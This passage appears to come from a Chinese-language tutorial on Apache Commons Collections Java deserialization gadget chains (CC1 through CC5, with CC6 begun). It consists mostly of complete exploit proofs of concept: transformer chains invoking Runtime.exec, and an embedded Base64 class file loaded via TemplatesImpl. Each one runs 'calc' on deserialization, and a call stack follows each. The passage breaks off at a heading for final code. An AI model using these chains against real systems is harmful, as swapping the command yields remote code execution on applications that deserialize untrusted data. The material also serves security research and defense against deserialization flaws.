instantiateTransformer.transform(TrAXFilter.class); } }
CC1-7 CC1 通过 AnnotationInvocationHandler 类触发 LazyMap 的 get 方法。 简化版 AnnotationInvocationHandler 类的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class AnnotationInvocationHandler implements InvocationHandler , Serializable { private final Class<? extends Annotation > type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation > var1, Map<String, Object> var2) { this .type = var1; this .memberValues = var2; } public Object invoke (Object var1, Method var2, Object[] var3) { Object var6 = this .memberValues.get(var4); } }
AnnotationInvocationHandler 类 readObject 方法代码:关键点在 this.memberValues.entrySet() ,这里我们可以为 memberValues 传入一个代理对象。通过 java 的动态代理机制,使其最终触发 AnnotationInvocationHandler 类的 invoke 方法,从而实现触发 LazyMap.get()。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException ("Non-annotation type in annotation serial stream" ); } Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); while (var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy (var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } } }
测试环境 :3.1-3.2.1 jdk版本小于u71
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 package Apache_Common_Collections.cc_1_7;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CommonsCollections1 { public static void main (String[] args) { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer chainedTransformer = new ChainedTransformer (transformers); Map uselessMap = new HashMap (); Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer); try { Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler); InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(handler1); oos.flush(); oos.close(); ByteArrayInputStream bais = new ByteArrayInputStream (baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); ois.close(); } catch (Exception e) { e.printStackTrace(); } } }
调用栈
1 2 3 4 5 6 7 8 ->AnnotationInvocationHandler.readObject() ->mapProxy.entrySet().iterator() ->AnnotationInvocationHandler.invoke() ->LazyMap.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->…………
CC3 测试环境 :3.1-3.2.1,jdk7u21及以前
对 CC1 进行了一些修改。引入了 TemplatesImpl 来加载字节码,去掉了 InvokerTransformer ,引入了 InstantiateTransformer。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 public class CommonsCollections3 { public static void main (String[] args) { try { byte [] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj" ); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates,"_tfactory" , new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer [] { new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map uselessMap = new HashMap (); Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler); InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(handler1); oos.flush(); oos.close(); ByteArrayInputStream bais = new ByteArrayInputStream (baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); ois.close(); } catch (Exception e) { e.printStackTrace(); } } public static void setFieldValue (Object object, String fieldName, Object value) { try { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } catch (Exception e) { e.printStackTrace(); } } }
调用栈
1 2 3 4 5 6 7 8 9 10 ->AnnotationInvocationHandler.readObject() ->mapProxy.entrySet().iterator() ->AnnotationInvocationHandler.invoke() ->LazyMap.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InstantiateTransformer.transform() ->TrAXFilter.TrAXFilter() ->TemplatesImpl.newTransformer() ->…………
CC2 利用条件比较苛刻:首先 CommonsCollections3 中无法使用,因为其 TransformingComparator 无法序列化。其次只有 CommonsCollections4-4.0 可以使用,因为 CommonsCollections4 其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。
这里需要引入两个新的类,首先是 PriorityQueue 部分关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 public class PriorityQueue <E> extends AbstractQueue <E> implements java .io.Serializable { private transient Object[] queue; private final Comparator<? super E> comparator; private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { heapify(); } private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); } private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; } }
可以看到其反序列化时调用 readObject 方法,然后最终会调用 我们自定义的 Comparator 的 compare 方法
自定义Comparator 借助 TransformingComparator 类,可以看到其 Comparator 方法中会调用 this.transformer.transform()。这是一个关键点,毕竟拿到 Transformer.transform() 就什么都好说。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class TransformingComparator <I, O> implements Comparator <I>, Serializable { private static final long serialVersionUID = 3456940356043606220L ; private final Comparator<O> decorated; private final Transformer<? super I, ? extends O > transformer; public TransformingComparator (Transformer<? super I, ? extends O> transformer) { this (transformer, ComparatorUtils.NATURAL_COMPARATOR); } public int compare (I obj1, I obj2) { O value1 = this .transformer.transform(obj1); O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); } }
CC2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 package Apache_Common_Collections.cc_1_7;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CommonsCollections2 { public static void main (String[] args) { try { byte [] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj" ); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates,"_tfactory" , new TransformerFactoryImpl ()); InvokerTransformer invokerTransformer = new InvokerTransformer ("newTransformer" , new Class []{}, new Object []{}); TransformingComparator comparator = new TransformingComparator (invokerTransformer); PriorityQueue priorityQueue = new PriorityQueue (2 ); priorityQueue.add(1 ); priorityQueue.add(1 ); Object[] objects = new Object []{templates, templates}; setFieldValue(priorityQueue, "queue" , objects); setFieldValue(priorityQueue, "comparator" , comparator); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(priorityQueue); oos.flush(); oos.close(); ByteArrayInputStream bais = new ByteArrayInputStream (baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); ois.close(); } catch (Exception e) { e.printStackTrace(); } } public static void setFieldValue (Object object, String fieldName, Object value) { try { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } catch (Exception e) { e.printStackTrace(); } } }
调用栈
1 2 3 4 5 6 7 8 ->PriorityQueue.readObject() ->PriorityQueue.heapify() ->PriorityQueue.siftDown() ->PriorityQueue.siftDownUsingComparator() ->TransformingComparator.compare() ->InvokerTransformer.transform() ->TemplatesImpl.newTransformer() ->…………
CC4 测试环境 :4.0,jdk7u21及以前
CC4 只是将 CC2 中的 InvokerTransformer 替换为了 InstantiateTransformer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 package Apache_Common_Collections.cc_1_7;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CommonsCollections4 { public static void main (String[] args) { try { byte [] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj" ); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates,"_tfactory" , new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer [] { new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator comparator = new TransformingComparator (chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue (2 ); priorityQueue.add(1 ); priorityQueue.add(1 ); Object[] objects = new Object []{templates, templates}; setFieldValue(priorityQueue, "queue" , objects); setFieldValue(priorityQueue, "comparator" , comparator); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(priorityQueue); oos.flush(); oos.close(); ByteArrayInputStream bais = new ByteArrayInputStream (baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); ois.close(); } catch (Exception e) { e.printStackTrace(); } } public static void setFieldValue (Object object, String fieldName, Object value) { try { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } catch (Exception e) { e.printStackTrace(); } } }
大体调用栈:
1 2 3 4 5 6 7 8 9 10 11 ->PriorityQueue.readObject() ->PriorityQueue.heapify() ->PriorityQueue.siftDown() ->PriorityQueue.siftDownUsingComparator() ->TransformingComparator.compare() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InstantiateTransformer.transform() ->TrAXFilter.TrAXFilter() ->TemplatesImpl.newTransformer() ->…………
CC5 测试环境 :3.1-3.2.1,jdk1.8
这里我们又回到了去触发 LazyMap.get(),只不过我们改变了 LazyMap.get() 的触发方式,不再和 CC1 和 CC3 一样借助 AnnotationInvocationHandler 的反序列化触发。
这里引入新类 TiedMapEntry:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public class TiedMapEntry implements Entry , KeyValue, Serializable { private static final long serialVersionUID = -8453869361373831205L ; private final Map map; private final Object key; public TiedMapEntry (Map map, Object key) { this .map = map; this .key = key; } public String toString () { return this .getKey() + "=" + this .getValue(); } public Object getValue () { return this .map.get(this .key); } }
综上,通过 TiedMapEntry.toString() 可触发 LazyMap.get()
BadAttributeValueExpException可以在反序列化时触发 TiedMapEntry.toString()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public class BadAttributeValueExpException extends Exception { private Object val; private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } }
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 package Apache_Common_Collections.cc_1_7;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CommonsCollections5 { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer chainedTransformer = new ChainedTransformer (transformers); Map uselessMap = new HashMap (); Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"test" ); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Field val = BadAttributeValueExpException.class.getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException, tiedMapEntry); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(badAttributeValueExpException); oos.flush(); oos.close(); ByteArrayInputStream bais = new ByteArrayInputStream (baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); ois.close(); } }
大体调用栈:
1 2 3 4 5 6 7 8 ->BadAttributeValueExpException.readObject() ->TiedMapEntry.toString() ->TiedMapEntry.getValue() ->LazyMap.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->…………
CC6 测试环境 :3.1-3.2.1,jdk1.7,1.8
用HashMap触发LazyMap.get()
再研究研究 TiedMapEntry 这个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public class TiedMapEntry implements Entry , KeyValue, Serializable { private static final long serialVersionUID = -8453869361373831205L ; private final Map map; private final Object key; public TiedMapEntry (Map map, Object key) { this .map = map; this .key = key; } public int hashCode () { Object value = this .getValue(); return (this .getKey() == null ? 0 : this .getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } public Object getValue () { return this .map.get(this .key); } }
反序列化时触发 TiedMapEntry.hashCode()需要用到HashMap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public class HashMap <K,V> extends AbstractMap <K,V> implements Map <K,V>, Cloneable, Serializable { private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { ………… for (int i = 0 ; i < mappings; i++) { K key = (K) s.readObject(); V value = (V) s.readObject(); putForCreate(key, value); } } private void putForCreate (K key, V value) { int hash = null == key ? 0 : hash(key); int i = indexFor(hash, table.length); ………… createEntry(hash, key, value, i); } final int hash (Object k) { int h = hashSeed; if (0 != h && k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h ^= k.hashCode(); ………… }
最终代码
